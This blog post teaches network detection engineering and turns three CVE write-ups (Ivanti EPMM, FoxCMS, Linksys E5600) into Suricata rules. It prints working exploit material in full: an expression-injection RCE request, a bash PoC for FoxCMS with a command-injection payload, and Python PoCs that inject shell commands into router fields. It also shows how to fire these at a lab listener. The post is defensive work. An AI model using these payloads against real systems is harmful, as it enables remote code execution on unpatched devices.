Come Sail the CVEs Part 2: Turning Data Into Rules
Note: This post contains proof of concept exploits for several different platforms, both embedded in the post, as well as available through links in the post. Please act responsibly with exploit code.
Hello again. As promised, this is part 2 of Come Sail the CVEs. At this point, I’m assuming you looked at Part 1, or you already have your sources that you’re comfortable with. This post is going to be all about taking data, doing necessary security research and detection engineering, and producing rules that can be used to detect threats. We’ll be reviewing some stuff from my RSS feeds, and analyze them together. I’ll show you what tools I use, and the things I hone in on when building network detection.
With part 1, you’ve become your own data broker, or at least have a wide variety of sources. With this post, you’ll learn how to convert data into rules.
Tools of the Trade
Before we get started, let me make a couple of recommendations for things you should have available.
-
At least two Linux virtual machines. Preferably isolated from your physical network. Don’t know how to do that? I’ve quite literally written the book on that. Download it for free. You don’t need all of the VMs that I recommend from my book, just pfSense for network segmentation purposes, and two Linux VMs on the same (or separate, with firewall rules to allow traffic to/from) network segments you can reach via a host-only adapter, or a jump box.
-
Both VMs should have
git
,python3
,tcpdump
,wget
,wireshark
andcurl
installed. Use the distro’s package manager to make that happen.- We need
git
to grab whatever repos are out at github that contain pocs exploit devs were kind enough to leave us. - We use
wget
/curl
to sometimes throw simple exploits. - We use
tcpdump
for generating our own pcaps when we throw exploits - We use
wireshark
to examine pcaps we’ve generated for detection. - We grab
python3
for two reasons: a lot of pocs are python scripts, and also, for instances where we’re keen to actually run the proof of concept code, we can usepython -m http.server
to stand up an http server at port 8000/tcp to throw exploits at. Note that if you need a port other than 8000/tcp, adding a port number variable to the end the command (e.g. ,python3 -m http.server 8888
) will do the job. Note that for ports below 1024 (well-known ports) you might needsu
/sudo
, or root account access to run python with permissions to use well-known ports.
- We need
-
I’d say the vast majority of exploits I cover are HTTP or HTTPS based. For anything that isn’t HTTP driven, you might consider nmap’s
ncat
for a nice, customizable, somewhat modernized version ofnc
/netcat
. -
I’d recommend one of the VMs having
Metasploit
installed. For those times where you are digging through MSF pull requests and issues and have to run modules that haven’t yet made it into a release. I like having the framework available because sometimes, MSF modules aren’t easy to read. Most of the time when I read a python PoC, I can figure out where all the data is going, and probably write a rule without even needing to launch the exploit, and gather a pcap. You can run a Linux distro that has Metasploit pre-installed (like, Kali Linux) if you want, or install the framework from source. Doesn’t matter.
I’m not saying that MSF modules are unreadable, but I am saying that python pocs are usually more readable than this. Source: Packetstorm
- Install Dalton. I’ve recommended it multiple times, and I’ll continue to recommend it. It provides you with Suricata, Snort, and/or Zeek containerized instances to run your pcaps against, Flowsynth for forging your own pcaps, and Cyberchef for data encoding/decoding, encryption/decryption, etc. I use both Dalton and Flowsynth daily for developing detection for all sorts of stuff.
- To install Dalton, you’ll need
docker-compose
, which in the case of Ubuntu (24.04+) or Debian (12+) is available in the package manager. Some people may scream at you for not having the latest version installed. As always, they are wrong. Not only is it a requirement for Dalton (as everything is containerized), but in some cases, I’ve had write-ups where bloggers are kind enough to produce, or lead you to a docker container that has the vulnerable software ready for you to throw exploits at.
Dalton is swiss army knife for network detection, and I use it daily. As much as I rail against docker, its use for detection engineering is actually a great use-case for it. “I need to run mulitiple versions of Snort/Suricata to examine pcaps and confirm my rules work across multiple versions.” or “I need a specific version of this app, and I really don’t care to install it manually, I just need to throw exploits at it.”
Note: Dalton’s docker-compose.yml
can be modified to install/configure specific Suricata, Snort, and Zeek builds. It can also be modified to remove builds for IDS software as well so you don’t have to download/install so many versions of Suricata/Snort/Zeek. Each section of the yaml file is clearly marked. To create a new entry, you’ll need to crib off of one of the existing entries and change the version numbers as necessary. To remove entries, you can either delete or comment out the lines containing Suricata/Snort/Zeek builds you aren’t interested in.
Now, with this all out of the way, let’ me cherry pick some stuff out of my feeds.
Scenario 1: WatchTowr Ivanti EPMM Unauth RCE Chain (CVE-2025-4427 and CVE-2025-4428)
Watchtowr is, in my mind, the gold standard for exploit write-ups. Let’s do a little trolling, code diffs and diving to show what was vulnerable and why, and the icing on the cake, the part we care about the most, the proof of concept. They’ll usually provide full http headers, request bodies, AND responses, if we need to go that far, and most of the time, a github repo with a pythonic poc, as a treat.
Today, this will be the focus of our first scenario, a pair of vulnerabilities, in Ivanti EPMM (a type of mobile device management platform). Ivanti alleges that there is both an authentication bypass and remote code execution, as separate vulnerabilities, due to being able to touch a specific API endpoint without authenticating, and use it to run arbitrary code. Watchtowr states, Ivanti just used a function that requires care, with absolutely no care whatsoever, and that as far as auth is concerned, things were executed in the wrong order. Which point of view is correct? Trick question: we don’t care. These are the parts we care about:
“Whilst the output of the command is not apparent in the response, we can demonstrate in the below HTTP request and response that we can supply a payload that executes the command id
:”
GET /mifs/rs/api/v2/featureusage?format=<@urlencode>${"".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id')}</@urlencode> HTTP/1.1
Host: {{Hostname}}
HTTP/1.1 400
Date: Thu, 15 May 2025 14:09:20 GMT
Server: server
X-XSS-Protection: 1; mode=block
Referrer-Policy: strict-origin-when-cross-origin
X-Frame-Options: SameOrigin
X-Content-Type-Options: nosniff
Expires: Mon, 05 May 2025 14:09:20 GMT
Pragma: no-cache
Cache-control: no-cache, no-store, must-revalidate
Strict-Transport-Security: max-age=31536000 ; includeSubDomains
Content-Type: application/json;charset=UTF-8
Content-Length: 341
Connection: close
{"messages":[{"type":"Error","messageKey":"com.mobileiron.vsp.messages.validation.global.error","localizedMessage":"Format 'Process[pid=26803, exitValue=\\"not exited\\"]' is invalid. Valid formats are 'json', 'csv'.","messageParameters":["Format 'Process[pid=26803, exitValue=\\"not exited\\"]' is invalid. Valid formats are 'json', 'csv'."]}]}
But also:
"As with all our research, we understand the need to help our brothers in arms (Incident Responders, SOCs, CERTs) - especially when there’s in-the-wild exploitation.
So, we hope the following Detection Artifact Generator on Github is helpful."
Full HTTP request/response AND code for us to do it ourselves if we need to? Perfect. Let’s go forge a pcap.
Forging pcaps with flowsynth
As I mentioned before, I use Dalton almost daily for detection engineering. Flowsynth is one reason why. To put it lightly, its a custom, Snort/Suricata-like language that can be used to create pcaps. In this case, all we need is that initial GET request.
Begin by navigating to your Dalton instance (note: the docker-compose will expose the web interface to the host you’ve installed Dalton on. If you’re on the system hosting Dalton, you can point your web browser to 127.0.0.1. If you’re remote, point your browser to the IP address of the system hosting Dalton) and clicking on the Flowsynth
button on the top navigation bar.
The next page is titled “Build Packet Capture”. Click on the Payload
tab, and select the HTTP
radio button. Don’t worry about the Network and Transport tabs. In the HTTP Request (header)
input box below, input:
GET /mifs/rs/api/v2/featureusage?format=<@urlencode>${"".getClass().forName('java.lang.Runtime').getMethod('getRuntime').invoke(null).exec('id')}</@urlencode> HTTP/1.1
Host: 10.11.12.13
Then click Generate Flowsynth
at the bottom of the page. On the next page, there will be a large input box labeled Compile
, with the raw flowsynth syntax that will be used to generate the pcap. Mine looked something like this:
flow default tcp 192.168.33.204:42459 > 172.16.208.199:30060 (tcp.initialize;);
default > (content:"GET\x20/mifs/rs/api/v2/featureusage?format=<@urlencode>${\x22\x22.getClass().forName(\x27java.lang.Runtime\x27).getMethod(\x27getRuntime\x27).invoke(null).exec(\x27id\x27)}</@urlencode>\x20HTTP/1.1\x0d\x0aHost\x3a\x2010.11.12.13"; content:"\x0d\x0a\x0d\x0a"; );
The only thing I would recommend changing is the first line. I always use the IP address 10.11.12.13
to represent an internal/local host, and the IP address 55.66.77.88
to represent an external host. The greater than symbol (>
) indicates who is the session initiator (to the left) and who is accepting the traffic (to the right). Change the left most IP address to 55.66.77.88
, then change the IP address and port indicator on the right to: 10.11.12.13:443
. Yes, we have to use the power of imagination to pretend we’re doing SSL/TLS decryption here. When you’re done, your flowsynth should look something like:
flow default tcp 55.66.77.88:42459 > 10.11.12.13:443 (tcp.initialize;);
default > (content:"GET\x20/mifs/rs/api/v2/featureusage?format=<@urlencode>${\x22\x22.getClass().forName(\x27java.lang.Runtime\x27).getMethod(\x27getRuntime\x27).invoke(null).exec(\x27id\x27)}</@urlencode>\x20HTTP/1.1\x0d\x0aHost\x3a\x2010.11.12.13"; content:"\x0d\x0a\x0d\x0a"; );
When finished, click the Compile Flowsynth
button at the bottom of the page.
For the visual learners, this is the general flow for creating a pcap using Flowsynth.
I got a pcap, now what?
The final page will give you the option to download your pcap, and/or forward it to your IDS software of choice. I would recommend downloading the pcap, and opening it in wireshark to verify its valid HTTP traffic that wireshark’s parsers recognize. Also: DO NOT close this page yet. Take a look at the screencap below: Wireshark identifies it as valid HTTP traffic. Its the fourth packet, after the TCP three-way handshake:
Its important to double check that Wireshark acknowledges the flowsynth pcap has valid HTTP traffic in it.
If you feel like it, you could also use the Follow > TCP Stream
/Follow > HTTP Stream
, by right-clicking any one of the packets. you should see something like this:
There have been a number of times where I’ve forgotten to add " HTTP/1.1" (with the space) to make sure that my HTTP request is syntactically correct. If you do this, wireshark will NOT highly the mock HTTP in green, like it did in the image above, and Suricata will not acknowledge it as HTTP traffic, either.
I would recommend renaming the pcap you’ve downloaded to something descriptive, in case you ever have to come back to it later. In this case, a filename like Ivanti-EPMM-CVE-2025-4427-4428.pcap
while long, is descriptive enough for you to keep track of.
Now, with all that out of the way, navigate back to the page where you downloaded the pcap, and select the Suricata
radio button in the Submit to Dalton
section, then click the Submit
button at the bottom of the page.
Download the pcap you just created, rename it something descriptive that tells you want the pcap contains at a glance for future reference. Open the pcap in wireshark to verify wireshark’s parsers confirm that the pcap contains VALID http traffic. When done, select Suricata under the
Submit to Dalton
section, then click theSubmit
button.
Rule writing with Dalton
So, now we’re ready to make a Suricata rule. Here is something I whipped up on the fly:
alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Ivanti EPMM Authentication Bypass and Remote Code Execution Attempt (CVE-2025-4427,2025-4428)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/mifs/rs/api/v2/featureusage|3f|format|3d|"; startswith; fast_pattern; content:"java.lang.runtime"; nocase; distance:0; content:"|2e|exec|28|"; reference:url,labs.watchtowr.com/expression-payloads-meet-mayhem-cve-2025-4427-and-cve-2025-4428/; reference:cve,2025-4427; reference:cve,2025-4428; classtype:attempted-admin; sid:1; rev:1;)
Between the article and the pcap, we know that the URI will always start with /mifs/rs/api/v2
. But we also know that its the featureusage
end point, with the format
parameter, is what leads to the RCE. Then afterwards, we know the attacker has to call java.lang.runtime
to eventually gain exec
. We don’t care what the command is, just that someone is trying to execute something.
For the most part, this is the rule I’ve submitted for inclusion into the ET ruleset. Our rule management system will have us add a bunch of metadata, but aside from that, nothing much is changing here. Now, its time to prove this rule will do what we need it to do.
Remember how I had you submit our sample pcap to Dalton? We’re going to test the rule above against the pcap we just made. Now, if for some reason you navigated away from the page, don’t sweat it. Navigate back to Dalton’s main page and select New > Suricata Test
to be dropped off on the same page.
The new page is titled Submit A New Job for Suricata X.X.X
, where X.X.X is the version of Suricata. In my case, I’m running 7.0.10. The Job Setting
Tab should already be selected. Under the Packet Captures
section, if you came from flowsynth, a greyed-out input box with a pcap name in it should already be there. If you decided to come from the Dalton main page, you’ll need to click Browse
, find the flowsynth pcap we just made, and upload it.
Under Sensor Version
, I recommend selecting the latest version available in your installation. Whatever the current build is should be fine (e.g., 7.0.10). Under the Ruleset
section, uncheck Use a defined ruleset
, then be sure to check Use custom rules
. Copy and paste the rule above into the input box, then click the Submit
button at the very bottom of the page.
Note: While it isn’t necessary this time around, note the Logs
section. Here you can enable different additional logs that will get generated when Suricata analyzes your pcap. Rule Profiling
for performance analysis, and Dump buffers (alerts only)
for rule troubleshooting are both extremely useful.
Another diagram to help guide you on how to submit a pcap for testing. Note that the Logs section isn’t included here, but that the Rule Profiling and Dump buffers options are both very helpful in performance analysis, and rule troubleshooting, respectively.
The next page will display the results. We got the rule to trigger on our pcap. Done deal.
Wonderful. Done deal
Scenario 2: FoxCMS v.1.2.5 - Remote Code Execution (CVE-2025-29306)
I found this one via the nuclei-templates release RSS feed. Here is the specific template we’ll be messing with. Specifically, we’re interested in this:
http:
- method: GET
path:
- "{{BaseURL}}/images/index.html?id=%24%7B%40print_r%28%40system%28%22{{command}}%22%29%29%7D"
payloads:
command:
- "id"
- "cat /etc/passwd"
and also the reference that gives us a shell script to test this with:
reference:
- https://github.com/verylazytech/CVE-2025-29306/blob/main/CVE-2025-29306.sh
In this line of work, sometimes its not uncommon for exploit developers to just delete their github repos, or no longer share them publicly. In the event that this github repo is no longer public some time in the future, here is the poc script:
# CVE-2025-29306 FOXCMS /images/index.html Code Execution Vulnerability
# FOFA (body="foxcms-logo" || body="foxcms-container") && body="div"
# Medium: https://medium.com/@verylazytech
# GitHub: https://github.com/verylazytech
# Shop: https://shop.verylazytech.com
# Website: https://www.verylazytech.com
#!/bin/bash
banner() {
cat <<'EOF'
______ _______ ____ ___ ____ ____ ____ ___ _____ ___ __
/ ___\ \ / / ____| |___ \ / _ \___ \| ___| |___ \ / _ \___ / / _ \ / /_
| | \ \ / /| _| __) | | | |__) |___ \ __) | (_) ||_ \| | | | '_ \
| |___ \ V / | |___ / __/| |_| / __/ ___) | / __/ \__, |__) | |_| | (_) |
\____| \_/ |_____| |_____|\___/_____|____/ |_____| /_/____/ \___/ \___/
__ __ _ _____ _
\ \ / /__ _ __ _ _ | | __ _ _____ _ |_ _|__ ___| |__
\ \ / / _ \ '__| | | | | | / _` |_ / | | | | |/ _ \/ __| '_ \
\ V / __/ | | |_| | | |__| (_| |/ /| |_| | | | __/ (__| | | |
\_/ \___|_| \__, | |_____\__,_/___|\__, | |_|\___|\___|_| |_|
|___/ |___/
@VeryLazyTech - Medium
EOF
}
# Call the banner function
banner
set -e
# Check for correct number of arguments
if [ "$#" -ne 2 ]; then
printf "Usage: $0 <url> <command>"
exit 1
fi
TARGET=$1
# Encode payload
ENCODED_CMD=$(python3 -c "import urllib.parse; print(urllib.parse.quote('\${@print_r(@system(\"$2\"))}'))")
FULL_URL="${TARGET}?id=${ENCODED_CMD}"
echo "[*] Sending RCE payload: $2"
HTML=$(curl -s "$FULL_URL")
# Extract <ul> from known XPath location using xmllint
UL_CONTENT=$(echo "$HTML" | xmllint --html --xpath "/html/body/header/div[1]/div[2]/div[1]/ul" - 2>/dev/null)
# Strip tags, clean up
CLEANED=$(echo "$UL_CONTENT" | sed 's/<[^>]*>//g' | sed '/^$/d' | sed 's/^[[:space:]]*//')
echo
echo "[+] Command Output:"
echo "$CLEANED"
Catching and Throwing Exploits, for Fun and Profit™
This time around, let’s actually throw the exploit. In my case, I have two virtual machines:
- Exploitable, Debian 12, IP address 10.0.0.245, Exploit Thrower
- Lagann, Debian 12, IP address 10.0.0.33, Exploit Catcher
First we’ll need either an SSH session, or local terminal session with root permissions (ssh key-based auth, sudo
, su
, whatever). Next, cd
to /opt
and run git clone https://github.com/verylazytech/CVE-2025-29306
then cd
to CVE-2025-29306/
. Now, we have to set up Lagann to catch the exploit attempt.
on your exploit thrower VM, go to
/opt
, clone the github repo for CVE-2025-29306, cd into it, and wait. Now, we have to prepare the catcher VM to catch the exploit.
Now, on the catcher VM, Lagann, we’ll need at least two SSH or terminal sessions – one to run tcpdump, the other to run python’s http server module. Once again, I recommend running these sessions as the root user to avoid permission problems.
On the first terminal session, run python3 -m http.server
. You should see the message Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
if so, our “listener” is up and ready to catch the exploit.
We have an HTTP listener, ready to catch the exploit.
On the second terminal session, run tcpdump -i {network interface name} -s 0 -w ~/CVE-2025-29306.pcap tcp and port 8000
. This is a somewhat long tcpdump command, so let’s break it down: -i
is used to define the network interface we’ll sniff traffic on. In my case, the interface name is ens18
. -s
is for snap length. This defines how much of the packet we want tcpdump to capture. The value 0
means capture the whole packet. -w
tells tcpdump the name of the file to write our captured packets to. And the final bit of the command is a very simple Berkley Packet Filter (BPF) expression. We’re telling tcpdump to only capture TCP traffic on port 8000. If you see the message tcpdump: listening on ens18, link-type EN10MB (Ethernet), snapshot length 262144 bytes
, then we’re ready to go back to the exploit throw VM, and run the exploit.
and now, TCPDUMP is ready to capture the exploit traffic. We have to go back to the exploit throw VM for the next step.
Assuming you’re already in the /opt/CVE-2025-29306
directory, run bash CVE-2025-29306.sh http://10.0.0.33:8000/images/index.html whoami
. If run correctly, you’ll see the output [*] Sending RCE payload: whoami
along with some ugly ASCII art.
Okay, we’ve sent the exploit. Now let’s go back to the SSH sessions on our catcher VM. You should see some lines that read:
10.0.0.245 - - [20/May/2025 11:30:19] code 404, message File not found
10.0.0.245 - - [20/May/2025 11:30:19] "GET /images/index.html?id=%24%7B%40print_r%28%40system%28%22whoami%22%29%29%7D HTTP/1.1" 404 -
This means that the python http server saw the exploit. You can hit Ctrl+c
to stop the python HTTP server. Next, open your other SSH session with tcpdump and hit Ctrl+c
to stop tcpdump. You should see output similar to:
10 packets captured
10 packets received by filter
0 packets dropped by kernel
Next, you have a few options. You can use whatever file transfer methods available to you (e.g., SCP) and transfer the CVE-2025-29306.pcap
file from root’s home directory on to an analysis system to open the pcap with wireshark, or, if you have a standard user and graphical interface installed, run the following commands to move the pcap and change its ownership, so that the user account can open it locally with wireshark:
chown {username}:{user group} ~/CVE-2025-29306.pcap`
mv ~/CVE-2025-29306.pcap /home/[username]
If your catcher VM doesn’t have a graphical interface or wireshark installed, you’ll need to use something to transfer the pcap off of the catcher VM. Otherwise, I recommend changing ownership of the file to a user’s account and copying it to that user’s home directory to open it up with wireshark. Speaking of, let’s open up the pcap in wireshark and
Follow > TCP Stream
:
Excellent. The pcap contains a valid HTTP request, containing our exploit throw. All we care about is the GET request here. We don’t care that the python HTTP server threw a 404 error. We got what we needed. Now, we need to go back to Dalton.
Rule Writing with Dalton (revisited)
With our new pcap in hand, we need to write a rule. Here’s what I submitted to the ET ruleset:
alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS FoxCMS id Parameter Command Injection Attempt (CVE-2025-29306)"; flow:established,to_server; http.method; content:"GET"; http.uri; content:"/images/index.html|3f|id|3d 24|"; fast_pattern; content:"|40|print_r"; distance:0; content:"|40|system"; within:20; reference:url,github.com/projectdiscovery/nuclei-templates/blob/main/http/cves/2025/CVE-2025-29306.yaml; reference:cve,2025-29306; classtype:attempted-admin; sid:1; rev:1;)
“Wait a minute. The exploit throw was URL-encoded. What are you doing?” Something important to note about Suricata is that the http.uri
sticky buffer, as a part of its normalizations, will automatically decode standard URL encoding. fun fact, it will also, sometimes detrimentally, remove repeated forward slashes, replacing them with a single forward slash. Don’t believe me? No problem. Let’s have Dalton show you.
Navigate to the Dalton Web UI. Start a new Suricata Test. In the Packet Captures
section, click the Browse
button and find the pcap we just made (CVE-2025-29306.pcap) and upload it. Confirm you’re running Suricata version 7.0.3 or higher in the Sensor Version
section, uncheck Use a defined ruleset
, then check Use custom rules
under the Ruleset
section, and input the IDS rule above.
This time, under the Logs
section, select the Dump buffers (alerts only)
checkbox, then click Submit
.
Its almost the same workflow that we used with Dalton on the first scenario. The only difference is I want you to check the
Dump buffers (alerts only)
checkbox, under theLogs
Section. Let’s see what happens.
An IDS alert. Wonderful.
Now, let’s go click on that HTTP Buffers
tab. Scroll down a little bit, and you’ll see a section labeled URI_DUMP
. This is what Suricata sees after its done normalizing the HTTP URI. You may have noticed as you scrolled down, the section RAW_URI_DUMP
. This is what the URI buffer looks like prior to Suricata doing any normalization. If you wanted to match against this, you would have to use the http.uri.raw
or http.request_line
sticky buffers, instead.
The Dump buffers option lets users see what data ended up in which buffers. Notice that the
URI_DUMP
andRAW_URI_DUMP
differ? This is the difference between normalized content in thehttp.uri
sticky buffer, and thehttp.uri.raw
sticky buffer.
Alright, let’s do one more scenario together.
Scenario 3: 4-in-one CVEs 2025-45488-2025-45491
Sometimes when I’m writing rules for IoT devices, its common for their to be multiple CVEs for the same device, and the only difference between multiple CVEs is the parameter that trips the vulnerability. I stumbled across this github repo with a bunch of vulnerabilities in the Linksys E5600 series router.
Let me lead off with the rules I came up with, that cover all of the vulnerabilities in this directory:
alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Linksys E5600 runtime.InternetConnection ifname Parameter Command Injection Attempt (CVE-2025-45487)"; flow:established,to_server; http.method; content:"POST"; http.uri; bsize:8; content:"/API/obj"; http.header_names; content:"|0d 0a|Cookie|0d 0a|"; http.request_body; content:"|22|StaticipP|22|"; fast_pattern; content:"|22|ifname|22 3a 22|"; pcre:"/^.*?(?:(?:\x3b|%3[Bb])|(?:\x0a|%0[Aa])|(?:\x60|%60)|(?:\x7c|%7[Cc])|(?:\x24|%24)|(?:\x26{2}|%26%26))+/R"; reference:cve,2025-45487; reference:url,github.com/JZP018/vuln03/blob/main/linksys/E5600/CI_InternetConnection/CI_InternetConnection.pdf; classtype:attempted-admin; sid:1; rev:1;)
alert http any any -> $HOME_NET any (msg:"ET WEB_SPECIFIC_APPS Linksys E5600 runtime.ddnsStatus Multiple Parameters Command Injection Attempt (CVE-2025-45488-2025-45491)"; flow:established,to_server; http.method; content:"POST"; http.uri; bsize:8; content:"/API/obj"; http.header_names; content:"|0d 0a|Cookie|0d 0a|"; http.request_body; content:"|22|DdnsP|22|"; fast_pattern; pcre:"/\x22(?:hostname|mailex|username|password).*?(?:(?:\x3b|%3[Bb])|(?:\x0a|%0[Aa])|(?:\x60|%60)|(?:\x7c|%7[Cc])|(?:\x24|%24)|(?:\x26{2}|%26%26))+/"; reference:cve,2025-45488; reference:cve,2025-45489; reference:cve,2025-45490; reference:cve,2025-45491; reference:url,github.com/JZP018/vuln03/blob/main/linksys/E5600; classtype:attempted-admin; sid:1; rev:1;)
We’re gonna be focusing more on the second rule. I’m going to summarize the four write-ups, but if you wish you read them individually, that’s always a choice you can make.
-
User needs to be logged in. These are all authenticated command injections. The first connection in all four PDF/Proof of Concept scripts attempt to authenticate to the the router with the username of
admin
and the password of123456
, base64 encoded (contents of the data1 variable). We can see in the second HTTP request, to/API/Obj
, that the response from the first request is used to set a session cookie so that the router knows the request is coming from an authorized user. -
In the second request we can see is attempting to hit the URI
/API/Obj
. Checking the data2 variable, we can see that a commonality is the content"DdnsP":
, since its a relatively unique content match compared to other options, I made this thefast_pattern
for this rule. -
The four PDFs pertaining to the Linksys DDNS services, each have a different parameter that is vulnerable to command injection: hostname, mailex, username, and password. Looking at all four pdfs, we can see that the format for the variables is:
“{parameter}”:“;`command here`”
- The third connection request implies that the vulnerability isn’t triggered until the
/API/info
endpoint is hit. We don’t actually care about this at all.
My co-workers came up with a pretty comprehensive PCRE that covers a number of different shell metacharacters both hex-encoded, as well as url-encoded that, if we see them after a parameter of some sort, its probably command injection:
pcre:"/^[^\x26]*?(?:(?:\x3b|%3[Bb])|(?:\x0a|%0[Aa])|(?:\x60|%60)|(?:\x7c|%7[Cc])|(?:\x24|%24))+/R";
This pcre expression reads “Relative to the last content match, Give me as many characters that are not ampersands (&) as possible, followed by any of the following characters: semicolon (\x3b), linefeed (\x0a), backtick (\x60), dollar sign (\x24), pipe (\x7c)” in either hex form, or url-encoded form"
I made a couple of small changes:
pcre:"/\x22(?:hostname|mailex|username|password).*?(?:(?:\x3b|%3[Bb])|(?:\x0a|%0[Aa])|(?:\x60|%60)|(?:\x7c|%7[Cc])|(?:\x24|%24)|(?:\x26{2}|%26%26))+/";
In this case, we’re not using the carat (^) for Suricata to start IMMEDIATELY after the last content match, nor are we using the /R
option to start searching relative to the last content match. We’re telling suricata’s PCRE engine to search for double quotes (\x22) followed by hostname or mailex or username or password, followed by any number of characters, followed by any of the following characters: semicolon (\x3b), linefeed (\x0a), backtick (\x60), dollar sign (\x24), pipe (\x7c) or double ampersand (&&) in either hex form, or url-encoded form. While most of the time we want to use /R
and ^
to help with pcre peformance, because of the http.request_body
sticky buffer, the PCRE search is limited to just that area for its search. We want to be able to search the entire request body in case the order of the parameters has been changed arbitrarily.
Okay, so its one thing for me to say that this rule will work, but its another entirely for me to prove it. In order to prove it, we’re going to throw a modified version of one of the exploits. Just like in scenario two, I’m using exploitable (10.0.0.245) to throw the exploit, and Lagann (10.0.0.33) to catch the exploit with python3’s http.server, and tcpdump. On your exploit throwing VM, let’s grab the github repo in its entirety. cd
to the /opt
directory, and run git clone https://github.com/JZP018/vuln03
. next, cd to /opt/vuln03/linksys/E5600/CI_ddnsStatus_DynDNS_hostname/
Same as before, we need to grab the github repo that contains the proof of concept code, and put it on the exploit thrower VM.
Just in case this github repo disappears, Here is the proof of concept we’ll be working with today:
import requests
import json
url1 = 'http://192.168.31.6/cgi-bin/login.cgi'
data1 = {"username":"YWRtaW4%3D","password":"MTIzNDU2","token":"","source":"web","cn":"","action":"auth"}
response1 = requests.post(url1, data=json.dumps(data1))
print(response1.text)
url2 = 'http://192.168.31.6/API/obj'
headers = {
'Host': '192.168.31.6',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Content-Type': 'application/json',
'Origin': 'http://192.168.31.6',
'Referer': 'http://192.168.31.6/idp/idp_ping.html',
'Cookie': response1.headers['Set-Cookie'].split(" ")[0],
}
data2 = {"ddns":{"DdnsP":{"enable":"1","username":"admin","password":"admin","hostname":"; `ls>/www/54321.txt`; #","provider":"DynDNS.org","system":"0","mailex":"rweed","backupmailex":"1","wildcard":"1","ip":"","status":""}}}
response2 = requests.post(url2, headers=headers, data=json.dumps(data2))
print(response2.text)
url3 = 'http://192.168.31.6/API/info'
data3 = {
'ddnsStatus': {
}
}
response3 = requests.post(url3, headers=headers, data=json.dumps(data3))
print(response3.text)
Now, this isn’t the code we’ll be using. We’re only interested in the second HTTP request, so we can modify this script to run JUST what we need for a pcap. Here is my modified code below:
#!/usr/bin/env python3
import requests
import json
url2 = 'http://10.0.0.33:8000/API/obj'
headers = {
'Host': '10.0.0.33:8000',
'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36',
'Content-Type': 'application/json',
'Origin': 'http://10.0.0.33:8000',
'Referer': 'http://10.0.0.33:8000/idp/idp_ping.html',
'Cookie': 'ayylmao',
}
data2 = {"ddns":{"DdnsP":{"enable":"1","username":"admin","password":"admin","hostname":"; `ls>/www/54321.txt`; #","provider":"DynDNS.org","system":"0","mailex":"rweed","backupmailex":"1","wildcard":"1","ip":"","status":""}}}
response2 = requests.post(url2, headers=headers, data=json.dumps(data2))
print(response2.text)
Notice how I’ve changed the IP address to the exploit catcher’s IP address (10.0.0.33) and the default port for python3’s http.server (8000)? Make sure you do that as well, and change the IP addresses in the script, to the IP address (and tcp port) of the system you need to capture the exploit traffic. Additionally, you may have also noticed how I’ve changed the Cookie header value to 'ayylmao'
You can change this to literally any text string. Doesn’t matter. We just need an HTTP cookie header for the rule syntax http.header_names; content:"|0d 0a|Cookie|0d 0a|";
to be true. Take this code, using your favorite text editor and save it to the file poc2.py
into the same directory as the original proof of concept. Now, before we start chuckin’ exploits, we have to set up our catcher VM.
In the catcher VM, (Lagann @ 10.0.0.33), we need two terminal sessions (local, or over SSH), both with root access. Just like we did in scenario 2, run python3 -m http.server
in the first session. In the second session run, tcpdump -i ens18 -s 0 -w ~/CVE-2025-45488-45491.pcap tcp and port 8000
the only thing that changes this time around is the name of the pcap. With the python http server listening, and tcpdump ready to collect packets, let’s go back to our exploit throwing VM.
Assuming you’re still in the /opt/vuln03/linksys/E5600/CI_ddnsStatus_DynDNS_hostname
directory, run python3 poc2.py
Time to throw our modified exploit. This time you’ll get a 501 error. Why? python3’s http.server module doesn’t support POST requests. Doesn’t matter. Time to go check our exploit catcher VM for the results.
So this time around, because python3’s http.server doesn’t support the POST
http method, we’ll get a 501 error code in the http.server logs on the console:
Serving HTTP on 0.0.0.0 port 8000 (http://0.0.0.0:8000/) ...
10.0.0.245 - - [20/May/2025 15:35:47] code 501, message Unsupported method ('POST')
10.0.0.245 - - [20/May/2025 15:35:47] "POST /API/obj HTTP/1.1" 501 -
Same as before, use Ctrl+c
to stop the process. Likewise, use Ctrl+c
to stop the tcpdump process in the other console session. Your output should indicate that you captured some sort of traffic:
12 packets captured
12 packets received by filter
0 packets dropped by kernel
Likewise, just as before, do what you have to do in order to copy the pcap to a system that has wireshark, then open up the pcap to confirm it captured valid HTTP traffic.
Same as before, move the pcap to a system that has wireshark, or change the file permissions and location to some place a non-root user can access it. With this, we can confirm there is valid HTTP traffic in the pcap.
Our last step is to upload the pcap to Dalton and test our rule against the pcap to confirm that it will catch the malicious traffic. At this point I’ve covered the process twice, but just for review:
- Point your web browser to the Dalton web interface
- Select
New > Suricata Test
- On the Job Settings page, under the
Packet Captures
section, click theBrowse
button and go find your pcap. - Under the
Sensor Version
section, select the latest version of Suricata, 7.0.3+ - Under the
Ruleset
section, uncheckUse a defined ruleset
, then checkUse custom rules
. Input our rule above into the input box, then click theSubmit
button at the bottom of the page.
And that’s everything. If you’re feeling sadistic, you can lobotomize the other proof of concept scripts with the different parameters that can be used to target the DDNS service and repeat the process for them as well.
And that’s all there is to it. I hope you found these two posts useful and that they help guide you with your detection engineering.
Conclusion
As always, thank you for reading this post. Feel free to respond with feedback, tools, sources and methods you use for threat research and detection engineering.
Happy hunting,
-Tony